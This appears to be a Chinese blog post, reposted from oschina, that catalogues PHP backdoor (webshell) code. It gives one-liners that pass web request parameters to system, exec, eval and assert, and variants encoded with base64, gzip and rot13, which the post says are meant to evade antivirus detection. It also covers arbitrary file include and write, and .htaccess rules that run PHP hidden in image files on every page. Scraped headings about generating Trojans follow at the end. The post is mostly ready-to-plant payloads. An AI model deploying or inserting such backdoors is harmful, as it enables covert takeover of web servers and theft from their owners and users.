2019独角兽企业重金招聘Python工程师标准>>>

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?

php后门木马常用的函数大致上可分为四种类型:

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数

//test.php?cmd=ls

system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls

passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls

echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls

$arr = array();

exec($_GET[cmd],$arr);

print_r($arr);

popen 函数

//test.php?cmd=ls

$handle = popen('$_GET[cmd], 'r');

$read = fread($handle, 2096);

echo $read;

pclose($handle);

proc_open 函数

//test.php?cmd=ls

$descriptorspec = array(

0 => array('pipe', 'r'),

1 => array('pipe', 'w'),

2 => array('pipe', 'w'),

);

$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

fclose($pipes[0]);

$output = array();

while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

print_r($output);

2. 代码执行与加密:

eval 函数

//最常见的一句话木马

eval($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST[cmd]);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数

assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert

call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数

//test.php?a=assert&cmd=phpinfo()

$_GET[a]($_REQUEST[cmd]);

3. 文件包含与生成:

require 函数

//包含任意文件

//test.php?file=123.jpg

require($_GET[file]);

require_once 函数

//包含任意文件

//test.php?file=123.jpg

require_once($_GET[file]);

include 函数

//包含任意文件

//test.php?file=123.jpg

include($_GET[file]);

include_once 函数

//包含任意文件

//test.php?file=123.jpg

include_once($_GET[file]);

file_get_contents 函数

//读取任意文件

//test.php?f=config.inc.php

echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件

//a=test.php&b=<?php eval($_POST[cmd]);?>

file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件

//a=test.php&b=<?php eval($_POST[cmd]);?>

fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg

//将以下代码写入.htaccess中

//连接x.jpg即可启动后门木马

<FilesMatch "x.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

php_value auto_append_file c:/apache2/htdocs/123.gif

转载于:https://my.oschina.net/richardx/blog/54030

php后门木马常用命令相关推荐

  1. php命令执行后门,php后门木马常用命令

    php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢? php后门木马常用的函数大致上可分为四种类型: 1. 执行系统命令: system, passthru, shell_exec, e ...

  2. termux怎么生成木马_metasploit 生成木马常用命令

    生成反弹木马: 1.  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe > abc ...

  3. php 木马 加密,PHP后门木马详解

    说起php后门木马我就心有愉季啊前不久一个站就因不小心给人注入了然后写入了小木马这样结果大家知道的我就不说了下面我来给大家收集了各种php后门木马做法大家可参考. php后门木马对大家来说一点都不陌生 ...

  4. win下 远程控制(教程+工具+黑客常用命令)

    文章转自:http://blog.cfan.com.cn/html/89/213089-7555.html 作者: 夏海伟 一般入侵所需要的几个常用命令 一般入侵所需要的几个常用命令 (命令中要注意其 ...

  5. windows批处理(bat)程序常用命令

    windows批处理(bat)程序常用命令 开始之前先简单说明下cmd文件和bat文件的区别:在本质上两者没有区别,都是简单的文本编码方式,都可以用记事本创建.编辑和查看.两者所用的命令行代码也是共用 ...

  6. DOS常用命令与批处理使用大全

    一.DOS命令使用规则 1.直接输入"help",运行,就可以列出所有命令及说明. 2.可以使用通配符(? 和 *),?表通配一个字符,*表通配任意字符 *.后缀 指定要查看后缀的 ...

  7. Windows 目录结构,服务以及端口, DOS常用命令学习

    windows 常用目录简介 windows system32 系统配置文件config SAM下存放 用户名和密码 一般系统启动了就不能查看了 PE 可以使用drivers etc host 定义一 ...

  8. mysql定时木马_Mysql的语句生成后门木马的方法

    咳咳,大家看看就好了,本人不负责所产生的后果 复制代码 代码如下: SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702 ...

  9. web目录字典_Metasploit -- 目录详解及常用命令

    暗恋这件事,就好像下了一场暴雨,我故意站在门外,几度想要敲你的门,问你是否可以暂时借避,可是又不敢,只好一直站在雨里... ---- 网易云热评 鸣谢:山丘安全攻防实验室 ---- 陈殷 一.Meta ...

最新文章

  1. linux写文本命令,一天一个shell命令 linux文本操作系列-chmod命令用法
  2. RichText设置高亮 (未完)
  3. linux c 重定向流后的恢复 freopen后的恢复
  4. UVA10341解方程(二分)
  5. 如何生成HDF5文件
  6. mysql navicat 设计表_Navicat for MySQL 如何设计报表版面
  7. python 单例模式的四种创建方式
  8. postforobject 设置代理_OAuth2RestTemplate中的代理配置
  9. 【错误纠正】关于文章《绕开数学,讲讲信息论》
  10. MySQL之练习题5
  11. php 显示html文件后缀,[求助]此jQuery在html后缀文件可用,在php后缀文件就用不了!...
  12. ArcGIS API for JavaScript 4.9 3.26 发布与新特性
  13. 新疆卫生系统计算机考试题库,2014新疆维吾尔自治区计算机等级考试试题 二级C试题最新考试试题库...
  14. spring之httpclient doget请求
  15. 必做作业3:原型化系统---乘车app
  16. java的六大框架_常用的java开发框架介绍 (初学者必备的六大框架)
  17. gb28181协议流媒体实现为rtp荷载ps流,将h264流打包成ps流。
  18. 关于消息队列的一些思考
  19. Java项目中利用钉钉机器人Webhook向钉钉群推送告警通知
  20. HTML5 FileReader

热门文章

  1. 查找链表中倒数第k个结点(C++)
  2. JavaScript 复杂判断的更优雅写法借鉴
  3. 2017.5.5上午
  4. Android获取设备隐私 忽略6.0权限管理
  5. 在JavaScript中使用json.js:Ajax项目之POST请求(异步)
  6. 自适应网页设计(转)
  7. Enterprise Library2.0研究(一)日志组件的使用场景
  8. Django在settings.py设置安装软件路径,遇到 'Settings' object is not subscriptable报错
  9. Android学习之调用系统相机实现拍照功能
  10. vueCli3中使用代理,点击页面的刷新按钮时报错